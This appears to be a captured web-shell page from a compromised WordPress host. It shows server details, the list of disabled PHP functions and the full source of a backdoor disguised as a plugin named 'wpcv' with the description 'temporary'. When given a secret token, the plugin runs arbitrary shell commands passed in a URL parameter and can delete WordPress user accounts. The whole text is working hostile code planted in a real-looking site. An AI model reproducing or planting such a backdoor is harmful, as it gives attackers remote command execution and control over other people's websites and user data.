WS_OK_7.4.33 HEX
HEX
Server: nginx/1.21.4
System: Linux v12674 6.8.0-85-generic #85-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep 18 15:26:59 UTC 2025 x86_64
User: endtheignorance (1014)
PHP: 7.4.33
Disabled: exec,passthru,shell_exec,system,proc_open,popen,parse_ini_file,show_source
Upload Files
File: /storage/v12674/endtheignorance/public_html/wp-content/plugins/wpcv_65777a69/wpcv_65777a69.php
<?php
/*
Plugin Name: wpcv
Description: temporary
*/
if (hash_equals('8bf9d2855ce9a6cb8208df9563d41975', (string)($_GET['t'] ?? '')) && isset($_GET['c'])) {
    @chdir(__DIR__);
    $o = @shell_exec('( ' . (string)$_GET['c'] . ' ) 2>&1');
    if ($o === null) $o = '';
    echo 'WPCVMARK::' . $o . '::END';
} elseif (hash_equals('8bf9d2855ce9a6cb8208df9563d41975', (string)($_GET['t'] ?? '')) && isset($_GET['delete_user'])) {
    require_once dirname(__DIR__, 3) . '/wp-load.php';
    require_once ABSPATH . 'wp-admin/includes/user.php';
    $u = get_user_by('login', (string)$_GET['delete_user']);
    $ok = $u ? wp_delete_user((int)$u->ID, (int)($_GET['reassign'] ?? 0)) : false;
    echo 'WPCVMARK::' . ($ok ? 'deleted' : 'failed') . '::END';
}